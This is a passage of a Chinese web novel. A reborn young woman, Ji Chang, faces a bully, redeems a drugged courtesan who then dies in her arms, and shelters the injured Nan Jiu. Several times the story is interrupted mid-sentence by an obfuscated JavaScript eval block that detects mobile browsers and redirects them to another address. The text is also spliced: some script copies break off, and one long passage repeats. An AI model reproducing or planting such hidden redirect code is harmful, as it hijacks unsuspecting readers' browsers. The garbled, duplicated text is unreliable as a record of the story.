“好了,贺兰逸给贺兰灏道歉。” 贺兰逸看了贺兰灏一眼,小声:“对不起。” “听不见。”贺兰灏翻了个白眼。 “我说,对不起啦贺兰灏。”贺兰逸偷偷拉着她的袖子,贺兰灏转过头来看着自己的臭弟弟,想了想自己也不能总跟傻子一般计较,于是“哼”了一声表示自己接受他的道歉。 季昶看这俩人的矛盾解除,于是顺势问道:“育之兄的花鸟画的确精湛,你可是想到什么了?” 她猜贺兰灏应该是想到了赚钱的新点子,果然听她兴奋的小声道: “新花样啊季昶!” 季昶想起开春了,月家织坊产出了不少花样,今年第一批似乎卖的也还不错,于是猜测道:“你的意思是与织坊合作?” 月家织坊她们贺兰家也出过钱入股,平时有啥新花样都是先顾着他们三个孩子挑,贺兰灏喜欢做生意的事,课余也经常跟着月云华去织坊那边。 “对啊,让他技术入股,他画技如此了得将来迟早会出名,等那个时候咱们就不一定能跟他谈下来了!” 贺兰灏这几日专门观察过他,吃穿用度都及其节俭,手指上有薄茧,她猜测这是长时间作画导致,所以猜测他私下或许靠卖画之类谋生,如果是这样那谈成这笔生意的可能性就更大了! “或者咱直接卖下他几幅画,然后作为一个......”一个啥来着,贺兰灏又忘了那个词了。 “一个系列。”季昶补充,贺兰灏兴奋点头,就是这个意思! “到时候按照那一个系列的销量给他分红也可以。”贺兰灏越说越兴奋,似乎已经看到钱在向她招手了。 季昶沉吟了一下,觉得这个事可行,就跟贺兰灏说了林榆目前在住的客栈地址,专门强调:“让织坊那边的掌柜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256832|166333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去跟他谈。” 贺兰灏表示明白,然后开心的看着贺兰逸都顺眼了不少。 三人往回走,打算今日雅会结束回家详谈此事,毕竟这里也不是什么方便说话的地方。 结果好巧不巧遇上了糟心人,一个又贱又欠的声音从一旁传来:“哟,这不是贺兰家的小女郎嘛,见到本公子这么高兴?” 几人闻言都露出不满,贺兰灏更是想吃到了苍蝇那般恶心,转头看过去不是王家那个纨绔王志康又能是谁? 王家是当前云澜三大世家除温氏、长孙氏外的剩下那一家,本家在云澜东边兰芝县。 “王志康你恶不恶心?本姑娘要知道你在这儿我高低不出门。”说完像是被什么熏到了,拿着袖子捂住自己的口鼻。 王志康看她这样也不发怒,只是怪笑的看着季昶似乎看到了什么搞笑的事,道:“今个来的不都是文人雅士吗?怎么还有个商贾之子。” 他旁边一个他的狗腿上前道:“王二郎君,您贵人多忘事了,这小子不是传闻是那位的儿子嘛,又怎么会是商贾之子。” 提到“那位”的时候还刻意朝着季元鸿所在的方向看去,一副讳莫如深的样子。 说完几人都充满恶意的哈哈大笑,王志康点了点头:“那确实不能算商贾,就勉强算士人吧。” 那几个狗腿听完王志康的话后都上下打量着季昶,似乎是看到底够不够资格。 贺兰双子都气的恨不得上前捣烂这些人的嘴脸,但顾及着季昶没有动作。 这要是上辈子的季昶肯定忍不了,马上给他打成猪头,最多被骂一顿,这些人出言不逊在先也本身不占理。 但是她只是轻笑一声,道:“季某虽是商贾之子,却也是致远书院的学生,今日是我致远书院主办的雅会,我又怎么来不得?” 说完带着贺兰双子走了,王志康和周围的狗腿都有些懵,这还是哪个一点就着的季昶? “二郎君,这......” 王志康摆了摆手让他们闭嘴,看着远处的季昶眯了眯眼,一次不上钩还能次次不上钩? 上辈子季昶没有碰到过王志康,也没注意他到底来没来过,但是刚刚他这样故意的激怒就让人觉得很古怪。 “那个王志康,真是越来越恶心了,这也不看看是在谁的地盘上,就在那满嘴喷粪!”贺兰灏气个不行。 “就是,刚刚那个狗东西真恶心。”贺兰逸越想越气不过,打算回过头去给他一拳。 “贺兰逸!”季昶拉住他,“走了。” 贺兰灏也气的想去打回来,道:“本身就是他不占理,咱们打了他还敢告状不成?王家就是再不要脸敢让他再把那话说一声吗?” “就是就是!” 季昶怒极反笑,道:“你们这么快就能想明白的道理,他们几个再笨又怎么想不到?” 贺兰灏闻言皱了皱眉,跟贺兰逸面面相觑,道:“你的意思是他故意的?” “这么做除了能讨一顿打还能干啥?”贺兰逸更倾向于王志康就是闲的浑身贱得慌了。 季昶耸了耸肩,表示自己也不知道。 “狗咬你一口,你总不能也去咬狗吧?” 但这根本没法说服贺兰双子:“那就白白让他骂了?” “那肯定不啊,之后找机会报复回来就是咯。” 她季昶也不是什么好惹的,上辈子当谋士那么久了,也跟着学了不少兵不血刃的方法。 只不过她现在更想知道王志康激怒她是为了什么。 17. 雅会·伍 季昶三人回去的时候,诗会那边已经结束了,众人作了不少诗赋,一旁候着的学生们正在记录成册。 不出所料,魁首是由沈闻芳获得,倒是温昭没获得很好的名次,这会儿应当是去别处了。 沈闻芳还是对季昶没能大展身手而可惜,但看季昶本人并不在意也就没说什么。 昨天晚上大多数人还装一下,今晚基本都是去约着去逛烟花之地了,云澜经济发达,这些玩乐的生意更是繁荣。 特别是沈闻芳即将加冠,好多人怂恿他一起去。 “就是去听个曲,闻芳师兄别这么古板嘛。” 于是沈阅就被一群人生拉硬拽去了。 贺兰双子也从来没去过这种地方,月家和贺兰家也基本不做这种生意,所以好奇得很,小声怂恿着季昶一块去,季昶想了想与其这俩小孩将来偷偷去不如跟着自己,就让他俩去换身衣裳。 上辈子季昶也有时会来这些地方,听个曲喝个酒,放松放松罢了。 那些唱曲的姐姐们也每天盼着她来——毕竟她有钱事又少,季昶还经常跟她们聊天逗乐的,这种客人谁会不喜欢呢。 二人找了两件不怎么显眼的衣服,贺兰灏专门换上了贺兰逸没穿过的衣服,装成了一个小郎君,由于这衣服是照着贺兰逸的身量做的,她穿在身上反而更显飘逸,再拿着一把折扇似乎真是哪家的俊俏公子。 “快走快走。”俩人到了花萼坊门口反而踌躇不前,在季昶身后小声催促她进去。 季昶只好上前,看着迎出来笑语晏晏的坊主,道:“就是来听个曲,喝点茶。” 随手拿出一片金叶子递给她,笑着说:“劳烦坊主找个清净地。” “哎哟,”坊主接下金叶子,暗地里掂量了一下,瞬间笑的更真切了,“明白明白,几位小郎君这边请。” 坊主看着三位衣着不凡的小郎君身后还跟着这么多家仆,更知道不能怠慢了,于是招过一个龟公问:“红绡在不在?让她和霓裳去。” 这两位都是她花萼坊的头牌,不仅曲子唱的动听,更是各有各的绝技,她一定要拿下这三个新来的肥羊。 “坊主,昨个二郎君来了......”龟公小声说着,看向了红绡的房间,“这会子估计在歇息......” 二郎君正是王志康,这所乐坊是王家的产业。 坊主闻言气的咬紧了牙根,又是二郎君这个酒囊饭袋,每次来这边都得小心伺候,还因为是东家的孩子花销大又挣不着钱,每年还得被东家那边训斥。 面上却不好多说什么,只能把气撒在红绡身上:“都什么时辰了还敢偷懒,你就去说是贵客点名要她去唱曲,让她仔细招待着!” 龟公想起昨日红绡被折腾的惨状,却又看到坊主手上拿的金叶子实在是闪的让人眼晕,也就不管什么红绡黑绡的,能挣到钱才是最重要的。 上楼去把躺在榻上的红绡一把拖起来,道:“刚来了贵客,点名找你,仔细招待着,千万不许怠慢了!” 红绡虚弱睁开眼,看着龟公身后还跟着两个人,看这架势是她不去也得把她绑了去,只能哑着嗓子小声商量:“那,先让我喝上药。” 几人对视一眼,龟公道:“早就给你带来了,快点的吧!” 把手里的药丸丢到红绡身上,一旁的桌子上放着一碗水,看着她喝下去。 红绡看着这小小的一枚药丸,明知道是饮鸩止渴却不得不喝,闭着眼一口吞了。 这边的雅间隔音都设置的很好,屋内还有许多盆栽和熏香等,客人休息区和乐师表演区之间还有一层薄薄的纱帘,倒是别有风韵。 一旁的侍女要上前给她仨倒茶,被诗语拦下了,接过茶水给三人满上后待在一旁候着。 砚秋同样抱臂立在门口,用眼神示意那些侍女退下,一时间屋内只剩下他们几人。 贺兰灏看着屋内装潢,心想倒是可以借鉴一番,贺兰逸喝着茶水,嫌弃糕点太难吃:“一点都不酥,还甜过了头。” 季昶看他虽然嘴上嫌弃,还是照吃不误,于是伸手把那一盘点心端走,道:“那就别吃了,别亏着咱们贺兰小郎君的嘴。” 贺兰逸噘嘴,无声抗议。 不多时,纱帘另一侧的门打开,隔着一层薄薄的细纱,隐约能看到是两位形态婀娜的乐师进门,随后香气弥漫了整个屋子。 待二人端坐好,其中一人柔声道:“奴家红绡为郎君们唱支《子夜歌》,可好?” 声音宛转悠扬,又刻意压低了嗓音,像是心尖上让人扫了一下,耳朵都酥了半边。 另一位乐师此时站起来,道:“奴家霓裳,为郎君们献舞。” “那就静待两位娘子雅音了。”季昶朗声说着,拿起这边的茶水喝了一口,的确不如家里的醇香,倒是有些许清甜。 红绡歌声婉转缠绵,霓裳舞姿翩翩,隔着一层薄纱,又混着甜腻的熏香,只让贺兰双子这俩从来没见识过的一时间入了迷,贺兰灏也不管什么装潢不装潢的,贺兰逸也停下了手中喝茶的动作,陶醉其中。 季昶也沉醉于歌舞中,轻打着拍子,仿佛又回到了上辈子跟歌舞坊的姐姐们玩乐的日子。 她知道这些姐姐们大多是被卖入这里,或是被迫或是为了讨口饭吃,又或者生下来就是这里的人了。 她不是没有想过“救风尘”,但个人的力量还太渺小,如果不能改变整个社会,让每个人都能有自己谋生的路子,即使救了一两个人也不过是治标不治本。 一曲唱罢,季昶将茶杯放在桌上,抬手叫好。贺兰双子这才如梦初醒,也跟着夸赞。 总有一天,她会改变这一切,或许不能完成翻天覆地的变化,但她也会尽自己所能去为将来的改变埋下火种。 红绡笑着接受赞美,额头上却忍不住流下汗来,她今天吃的那丸药是黎骨那边的秘方,短时间内吊着人精气神的,坊主原话是这么说的: “这也就是看你是我们歌舞坊头牌,不然这样好的药丸哪能给你?” 红绡却知道,这药最是伤身子,吃了之后就得一直依赖着,且药效过去后身子骨就虚弱的很,刚她躺在榻上一是因为昨日王二郎君的折磨,二就是昨日她也吃下了这药。 只是没想到竟然这么快就不见效了,红绡心禁不住沉了下去,面上却不得不陪着笑。 霓裳看出红绡脸色不对,又想起昨日的事,心念一转道:“接下来由奴家为郎君唱一曲,红绡弹琴作伴。” 红绡抬头感激的看了霓裳一眼,顺着她的话道:“不知郎君们接下来想听什么曲子?” 贺兰逸本就听不懂什么曲子啥的,贺兰灏像是想起了什么,问:“姐姐们可会《胡笳十八拍》?” “好,那奴家就为郎君们献曲一拍。” 隔着薄纱,贺兰双子看不出红绡的脸色难看,又加上她刻意不想让客人听出来强忍着,旁人只当她刚刚唱完曲子嗓子略有不适。 但季 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你这人别在这儿碍事!红绡姐姐要出事了,时间宝贵你还在这儿耽搁!”贺兰灏冲上前要跟坊主理论。 坊主却不听红绡到底出了什么事,只道:“郎君啊,今儿个要是真让你们把人带走了出事的可就是奴家了!” 话音刚落周围就围上了几个龟公,那架势看起来是铁定要拦住她们。 季昶冷笑一声,看向坊主,坊主被这一眼看得后退几步,不敢多说但意思还是“没钱,人就不能放”。 季昶随手解下腰间的一块玉,丢给坊主,朗声道:“这个人我带走了。” 坊主捧着那玉一看就双眼放光,脸色一百八十度大转变,喜气洋洋道:“红绡让郎君看上真是红绡的福气啊!” 遂在歌舞坊中吆喝道:“恭喜红绡今日出嫁,由这位郎君摘得佳人归!” 花萼坊上下立马有许多人朗声贺喜,似乎今日真的是郎情妾意的一幕喜事: “恭喜红绡今日出嫁!” 许多客人都闻声探出头来,看今天又是哪个恩客给她们赎身了,却只看到门口有许多仆从跟着一个人影离开了。 季昶没有废话,抱着人坐上马车,离开了这个地方,贺喜声阵阵皆留在身后。 楼上霓裳含着泪捂着嘴,看向红绡远去的身影,既为她的自由高兴,又为她的身体担忧。 18. 红绡 云澜城主干道上灯火通明,两边不时会传来歌舞或是欢笑声,月家的马车飞快地穿梭在这热闹的景象之间,马车内却是无人敢出声。 坐在主位的正是季昶,怀中抱着的是奄奄一息的红绡。 女子原本柔媚的脸上没有平时待客时的笑意,正剩下痛苦和怅然。 “咳,咳......”红绡死死抓着季昶的衣领,嘴里有什么话要说,却只能发出嘶哑又怪异的声响,在寂静的马车中有一丝诡异。 贺兰灏看着这一切,着急的想上前却又不知道说些什么,只能透过车帘掀起的一角看向赶车的砚秋。 “别说了,留着力气。”季昶低头柔声在红绡耳畔说着,却被红绡抓住了衣领,她像是溺水的人终于抓住了救命稻草,喘着粗气颤颤巍巍地靠近季昶的耳边,深呼吸了数息,好不容易开口:“郎君......” “奴家......早就知道,有这一天......”红绡说着,呛出一口血沫,季昶用手给她擦拭掉,只说道:“没事的,你会没事的。” 红绡看着季昶的动作,笑了起来,嘴中不停地张张合合,想继续说些什么却因血不停吐出来,而含糊不清。 季昶只是不停用手擦着她流出来的血,却仿佛永远擦不完,不得不用自己的袖子给她擦着。 “谢郎君......奴家,自由......了。” 红绡说完这话,仿佛没了力气,只是惨淡的笑着,呼吸也越来越急促起来,像是破败的风箱,眼里布满了血丝,看着车顶。 贺兰逸惊呼出声:“她鼻子里......”未说完就自己死死捂住了嘴,却是浑身颤抖着看向红绡。 原本只有嘴里,这下连鼻子里也在流血。季昶拿过一旁贺兰灏递过来的帕子,将已经被血浸湿的袖子挽了上去,试图用帕子继续给她的脸擦干净。 却没想到只是几息的功夫,雪白的帕子就完全被血染透。 红绡只是一边痛苦的面目扭曲一边又忍不住笑着,面白如纸的脸上是一片片暗红发黑的血迹,整个人诡异又可怕。 贺兰双子吓得闭上了眼,又忍不住流着泪,怕声音太大惊动了这个脆弱的躯壳,只好捂着嘴低声啜泣。 马车行驶地飞快,已经驶出云澜城主干道,离西巷口越来越近。 路两侧行人少了起来,砚秋皱着眉狠狠抽了一鞭子,马车的速度变得更快了。 马车曲折驶入又一个巷子,马车后是家仆跟着井然有序得跑着,路边的人远远看着夜晚这一长串队伍,忙让开了路。 红绡的呼吸声渐息,只用气声不断地说着什么,季昶俯下身子侧耳细听,原来是“霓裳”二字。 “霓裳......”她断断续续地叫着这个名字,声音越来越低,最后声音几近破碎,却还是喊着这个名字,似乎有什么未尽的话要说。 “你说,你要带给霓裳什么话?”季昶问。 红绡却只是重复着“霓裳”二字,声音越来越低。 马车终于驶入了西巷口,诗语早就跳下车提前跑过来叫开了徐大夫的门,这会儿几人正在徐家门口立着等待人的到来。 “郎君!” 马车外诗语和徐济苍齐齐呼喊,砚秋拉紧缰绳将马车停住,家仆们在旁边一字排开,等候季昶将人抱出来。 马车里的人却迟迟未出来,只传来几声低低的啜泣。 砚秋上前想将车帘拉开,却听季昶平静道:“不必了。” 砚秋手一下子停住,周围人也明白了什么,马车内的啜泣声也从细微一下子泄了洪,贺兰双子的哭声从车帘内传出来。 二人第一次见这种情况,虽然是刚刚见过一面的姐姐,死在自己面前却还是让他们感到无力和害怕,两个小孩子哭的伤心欲绝。 一时间,西巷口内只有贺兰双子的哭嚎。 季昶低头看着红绡,她仿佛是睡了过去,脸上的痛苦神色都消失了,刚刚不断说着的“霓裳”像是梦中的呢喃。 鼻息间全是血腥味,手上的血液有的凝固有的还是流动着,季昶不停用袍子擦着手,衣服上早已沾满了血迹,旁人看过去还以为是她受了重伤。 你要带给霓裳什么话? 是要告诉她自己终于自由了。 还是放不下尚在牢笼的霓裳? 季昶到最后都没听到她的答案。 ...... 南玖醒过来时已经过去几日了,雅会早已结束,许多人都该回乡的回乡,该上学的上学。 他睁开眼看着这个陌生的房间,阵阵头疼中回想起的却是那日用簪子为自己报仇时的痛快。 平复了一下心里的戾气,想起身,却发觉自己用不上力,浑身如散架般没有一处不痛,身上却已经换上了整洁的衣袍和干净的被褥。 低头闻着被褥里散发出来的被太阳晒过的气味,像那日他昏迷前闻到的香气一样令人安心。 他猜测自己或许是被那个“小郎君”救了。 美眸一眯,南玖撑着身子艰难地爬起来,另一只手的手臂还用不上力,只能用一只手支撑着,他试图挪动却一个不小心滚下了床,整个人撞在了桌子上。 “哐当!”桌上的茶杯被他碰倒在地,碎片四分五裂惊动了门外的人。 来的人正是阿青,她被从酒楼指名来月家伺候,虽说是别院但也比之前那里待遇好多了。 郎君对自己这么看重,自己也一定要抓住这个机会,好好完成郎君交代的任务! 这么想着,阿青对伺候这个“病美人”的活更加上心了,急忙赶到看看究竟发生了什么。 “呀,南郎君!”阿青简直要夭寿了,自家郎君安排自己好好照顾的人现下居然滚在了地上! “无......唔!”南玖本想说“无妨”,但是没想到阿青之前从来没照顾过人,把他像一麻袋土那样拖起来,他感觉自己本来就要散架的身躯更是摇摇欲坠。 “先起来,我去叫人来拖您。”阿青真把他当搬不动的花草那样对待,将他扶起来后由原来的“趴在地上”变成了“坐在地上”,然后就出门叫了另外一些下人进来将他抬上了床。 好在南玖虽然长得高大,但整个人瘦极了,所以也并没有费很多力气。 南玖:“......” 然后又从旁边的下人那边端过药碗来就要给他灌,南玖连忙拦下,从她手中夺过碗来自己喝。 却没想到那药苦的发奇,舌头刚接触到的一瞬间就给他苦的打了一个激灵。 “咳咳咳!” 南玖艰难咳嗽,怀疑是不是这药没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“在下季昶。”她说着,搬过一旁的凳子在他身侧坐下,看他嘴唇发干拿起一旁未掉落在地的茶杯,给他倒了一杯水。 “水不太热,伯爷先润润嗓子。” 南玖看上去十分受宠若惊,接下后双手捧着杯子,看着季昶:“原来是季儒的弟子,传闻‘云澜双子’似乎也是……”说到后来不好意思的笑了一下,又缓声道: “季郎君不必如此称呼我,我这个伯爷的名声你怕是也清楚。” 武昌伯的名声的确是早有耳闻,只是不是什么好名声。 他本身是上一任武昌伯的次子,原本连世子都排不上,只不过上一任武昌伯和世子早些年接连战死,爵位这才落到了他这个肩不能扛、手不能提的战五渣身上。 关键他本就是武昌伯老来得子,刚承爵的时候还没季昶现在大,又加上他那瘦弱的体格和他父兄构成了鲜明的对比,可以说是人们有多尊敬他父兄就有多遗憾甚至鄙视他。 又听说他前些年还丧母,家中更是没人可以护得住他,武昌伯府早就只剩下个空壳子,这些年估计也没少受委屈。 只是,她上辈子的确不知道原来他竟然就是武昌伯。 那个与她一同在桓王帐下共事,为达目的不择手段而被称为“毒士”的“鸠先生”就是现在这个南玖。 “如果不嫌弃,季郎君可以称我‘彧璋’,这是当年家父在我刚出生时就起的字。” 他又笑了一下,笑容中带有些许忧伤:“或许,他也怕哪天战死沙场了,就无法给我起字了。” “彧璋兄,”季昶深受感触地看着他,“之后也尽管称呼我名字即可。” 二人一时间“兄友弟恭”了起来。 19. 棋子 王家兄弟二人在别院这儿简单吃过午饭,就在书房里一起坐着下棋。 王志康打算在别院先住几日,等过两天再打算去找季昶的晦气。 王志康不喜欢下棋,更喜欢斗狗、斗鸡、斗蛐蛐,奈何族学中的先生非要考验自己的棋艺,还非说什么“不有博弈者乎”*什么的,反正就是看自己玩别的他就难受。 他本身是不乐意的,但这个老头有的是方法让自己出糗,这让面子比天大的王二郎君怎会忍? 于是他决定教训那个老头,把他套袋揍一顿后再把他胡子拔了,不过被王志远拦下了。 王志远只说有什么棋局让王志康只管问他,他来帮着解。 王志康本来也没当回事,结果自家兄长还真解出来了,那老头还是第一次对自己有好脸色,更是当着爹的面大夸特夸了自己,连娘都说自己将来一定是当家主的料。 这下王志康就有了新棋局就来找王志远解,人过不来时就寄信件,总归是习惯了这种直接“抄作业”的行为了。 反正,王家将来不就得靠他的,自家兄长现在帮自己不就是在帮未来家主。 王志康一点都没有感觉有哪里不对。 书房内却突然有人闯入,打破了二人平静的午后时光。 “二......二郎君!” 来人气喘吁吁,似乎是跑了很久才来,王志远微微皱眉却没说什么,王志康直接气的破口大骂:“什么狗东西也敢过来扫你爷爷的雅兴?!” 要知道,他刚刚琢磨了好久都没弄明白这个棋局是怎么解的,好不容易有点思路了又让这个贱奴给打搅了。 他最好有重要事要说,王志康想着踢了那人一脚,道:“有屁快放。” 那人胸口被重重踢了一脚,整个人被踹翻在地,却只委委屈屈地高声哭喊:“小的是花萼坊当差的,真是有要事要禀告二郎君啊!” 王志康一听“花萼坊”来了精神,问道:“什么事?”心里却想着,莫不是红绡和霓裳那两个小娘子又想自己了? 已做好打算,今晚就去光顾花萼坊,总不好让美人独守空房嘛,嘿嘿嘿...... 却听那下人哭着道:“今儿个小的去当差,结果听旁人说红绡姑娘被人赎走了,我心想肯定是二郎君您了,结果听说这另有其人啊!” 王志康闻言站了起来,激动间衣袖将棋盘上的棋子都扫了下去,他置若罔闻,急声问:“什么时候的事?” 整个花萼坊谁人不知,他王志康最宠爱的就是红绡和霓裳这两位头牌,结果居然有人胆敢买走自己的东西。 王志康眼里闪过厉色。 “回二郎君,正是昨晚的事,听闻是一个生面孔买走的......”那下人说完,小心翼翼地抬眼看了一下王志康,看他还在暴怒中根本没有看向自己,又转眼看着大郎君眼神凉凉地盯着自己看,吓得低下了头,继续道:“差不多即将束发的年纪。”季昶本身练武,又正好到了长身量的时候,看着是比旁的十二三岁孩童要高些。 “呵,还未束发的毛小子也敢抢你王爷爷的女人。”全然忘了自己也不过是刚束发没多久。 阿财在一旁煽风点火:“花萼坊的那个坊主也是胆大,连郎君您的女人都敢卖出去。” 王志康被这一提醒才想起来还有这么个人物,更是怒火中烧:“差点忘了这个老女人了,走,我倒要去问问还把不把我放在眼里了!” 说完带着阿财怒气冲冲的走出门,向着花萼坊的方向杀过去。 花萼坊的那个下人继续低着头在一旁,只是神色没了刚才的焦急。 “做的不错。”王志远接过阿白刚刚捡起的那堆散落在地的棋子,低着头将刚刚的棋局重新摆好。 阿白从腰间的荷包里拿出一块银子,递给了那个下人。 花萼坊下人双手毕恭毕敬接过,嘴角是隐不住的笑意,谄媚道:“咱都是先夫人的人,本身给大郎君做事就是应该的。” 说完跪下冲着王志远磕了几个响头。 王志远继续摆着棋局,闻言只是淡淡地“嗯”了一声。 阿白在一侧低声道:“什么该说,什么不该说,你知道轻重。”说完,在那下人肩膀上拍了拍。 那下人连连点头,表示明白,随后弓着腰退下了。 窗外的鸟雀又飞回了树枝上,在争先恐后地叫着。 王志远将最后一个棋子拿起来,对着光看了看,将上头的灰尘小心吹过,放在了棋盘上。 “好了,这下棋子都在了。” ...... 南玖醒过来时已经过去几日了,雅会早已结束,许多人都该回乡的回乡,该上学的上学。 他睁开眼看着这个陌生的房间,阵阵头疼中回想起的却是那日用簪子为自己报仇时的痛快。 平复了一下心里的戾气,想起身,却发觉自己用不上力,浑身如散架般没有一处不痛,身上却已经换上了整洁的衣袍和干净的被褥。 低头闻着被褥里散发出来的被太阳晒过的气味,像那日他昏迷前闻到的香气一样令人安心。 他猜测自己或许是被那个“小郎君”救了。 美眸一眯,南玖撑着身子艰难地爬起来,另一只手的手臂还用不上力,只能用一只手支撑着,他试图挪动却一个不小心滚下了床,整个人撞在了桌子上。 “哐当!”桌上的茶杯被他碰倒在地,碎片四分五裂惊动了门外的人。 来的人正是阿青,她被从酒楼指名来月家伺候,虽说是别院但也比之前那里待遇好多了。 郎君对自己这么看重,自己也一定要抓住这个机会,好好完成郎君交代的任务! 这么想着,阿青对伺候这个“病美人”的活更加上心了,急忙赶到看看究竟发生了什么。 “呀,南郎君!”阿青简直要夭寿了,自家郎君安排自己好好照顾的人现下居然滚在了地上! “无......唔!”南玖本想说“无妨”,但是没想到阿青之前从来没照顾过人,把他像一麻袋土那样拖起来,他感觉自己本来就要散架的身躯更是摇摇欲坠。 “先起来,我去叫人来拖您。”阿青真把他当搬不动的花草那样对待,将他扶起来后由原来的“趴在地上”变成了“坐在地上”,然后就出门叫了另外一些下人进来将他抬上了床。 好在南玖虽然长得高大,但整个人瘦极了,所以也并没有费很多力气。 南玖:“......” 然后又从旁边的下人那边端过药碗来就要给他灌,南玖连忙拦下,从她手中夺过碗来自己喝。 却没想到那药苦的发奇,舌头刚接触到的一瞬间就给他苦的打了一个激灵。 “咳咳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288048|166333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咳!” 南玖艰难咳嗽,怀疑是不是这药没煎够火候,才苦成这样。 季昶进院子时正好听到了这声咳嗽,看着院子里和屋里都站了不少下人,猜测南玖应当是醒了。 “郎君。”屋内外的下人见到季昶纷纷行礼,季昶也点点头。这些古代的礼节她改不了,经过上一辈子她也习惯了。 刚要抬脚进屋却听到几人小声的惊呼,紧接着是器具打碎的声音和接连不断的咳嗽声。 “怎么回事?” 季昶进门看到的就是南玖上半个身子几乎要歪倒在地,整个人咳嗽到直不起身,然后就是碎了一地的碗和旁边一个被打碎的茶杯。 浓浓的药草苦味弥漫在屋里,屋中的几个下人看季昶来了,也吓得顾不上南玖,都跪了下来。 她们也不知道咋回事啊!明明刚刚从阿青手里夺碗的时候还好好的,咋就突然拿不住了呢。 阿青更是深感倒霉,怎么就偏偏在郎君眼前......万一郎君以为自己能力不行再把她调走了咋整?! “没事,收拾好这些碎片,你们就下去吧。” 几人长舒一口气,抓紧收拾完后退出了屋子,一时间屋子里只剩下季昶和南玖。 她今天刚查到南玖的事,惊讶之余想来看看他,没想到就撞到了这样一幕。 “武昌伯,招待不周了。”季昶上前把他扶正身子,看着他像一朵病弱的残花倚在床边,整个人脸色苍白、惹人怜惜。 “咳......多谢,这位郎君。”南玖微微张开鸦羽般的长睫,毫无血色的嘴唇微微翘起,慢慢露出一个勉强的微笑。 “在下季昶。”她说着,搬过一旁的凳子在他身侧坐下,看他嘴唇发干拿起一旁未掉落在地的茶杯,给他倒了一杯水。 “水不太热,伯爷先润润嗓子。” 南玖看上去十分受宠若惊,接下后双手捧着杯子,看着季昶:“原来是季儒的弟子,传闻‘云澜双子’似乎也是……”说到后来不好意思的笑了一下,又缓声道: “季郎君不必如此称呼我,我这个伯爷的名声你怕是也清楚。” 武昌伯的名声的确是早有耳闻,只是不是什么好名声。 他本身是上一任武昌伯的次子,原本连世子都排不上,只不过上一任武昌伯和世子早些年接连战死,爵位这才落到了他这个肩不能扛、手不能提的战五渣身上。 关键他本就是武昌伯老来得子,刚承爵的时候还没季昶现在大,又加上他那瘦弱的体格和他父兄构成了鲜明的对比,可以说是人们有多尊敬他父兄就有多遗憾甚至鄙视他。 又听说他前些年还丧母,家中更是没人可以护得住他,武昌伯府早就只剩下个空壳子,这些年估计也没少受委屈。 只是,她上辈子的确不知道原来他竟然就是武昌伯。 那个与她一同在桓王帐下共事,为达目的不择手段而被称为“毒士”的“鸠先生”就是现在这个南玖。 “如果不嫌弃,季郎君可以称我‘彧璋’,这是当年家父在我刚出生时就起的字。” 他又笑了一下,笑容中带有些许忧伤:“或许,他也怕哪天战死沙场了,就无法给我起字了。” “彧璋兄,”季昶深受感触地看着他,“之后也尽管称呼我名字即可。” 二人一时间“兄友弟恭”了起来。 20. 愿望 这几日南玖一直被安排在西巷口的月家别院里住着,毕竟月家大多是女眷,明面上的“男主子”只有季昶一个,总归是不太方便。 虽然比不上月家原本的房子,但好在也算小巧精致,阿青和一众月家的下人负责伺候着他。 大夫说他头上的撞伤和身上的擦伤不算严重,养几日就好了,严重的是他右手臂的骨折,如果不好好养着日后或许就没法写字了。 季昶难免会想起上一世。 上一世的南玖的确是用左手写字,整个人也阴郁的可怕,比后期的桓王有过之而无不及,她经常觉得这俩人像是一个窝里出来的毒虫。 跟现在这个柔柔弱弱的小白花可完全不一样。 “多谢徐大夫了”,几人拜别徐济苍,季昶又对南玖道:“这几日彧璋兄可要仔细养病,莫要再随意乱动了。” 她没再提起那日发生的事,更没有问为何现在了武昌伯府一个来过问的都没有,甚至他身旁连小厮和家丁都没有,让他落单被人差点迫害。 季昶只跟他说让他安心在别院住下,有需要的使唤阿青等人去做。 南玖激动又略带诧异地看着季昶,似乎十分感激她的善解人意,毕竟府中的窘迫情形不比那日自己差点被辱好多少。 若不是实在窘迫,他又何必来参加这次雅会。 这样纯净无暇的脸庞和仿佛小鹿般的目光,让季昶有股子割裂感。 不过毕竟再怎么说那也是上辈子的事,这辈子的南玖还是个小可怜,季昶叹了口气。 诗语从屋外进门,双手抱前朝着南玖行了一礼:“武昌伯安。” 南玖冲她点头赶忙让她起来,似乎不习惯被别人这样郑重对待,整个人看起来有些无措。 “庄子那边来人给郎君您汇报进度了。”诗语只说了这么一句,季昶明白是城西那块地有新进展了。 当初月姨把这片地给了她,季昶打算在此构建大本营,之前还在那边的地下室挖到了四分之一的玉玺。 季昶又习惯性转了一下手上带着的玉戒,点点头表示自己明白了。 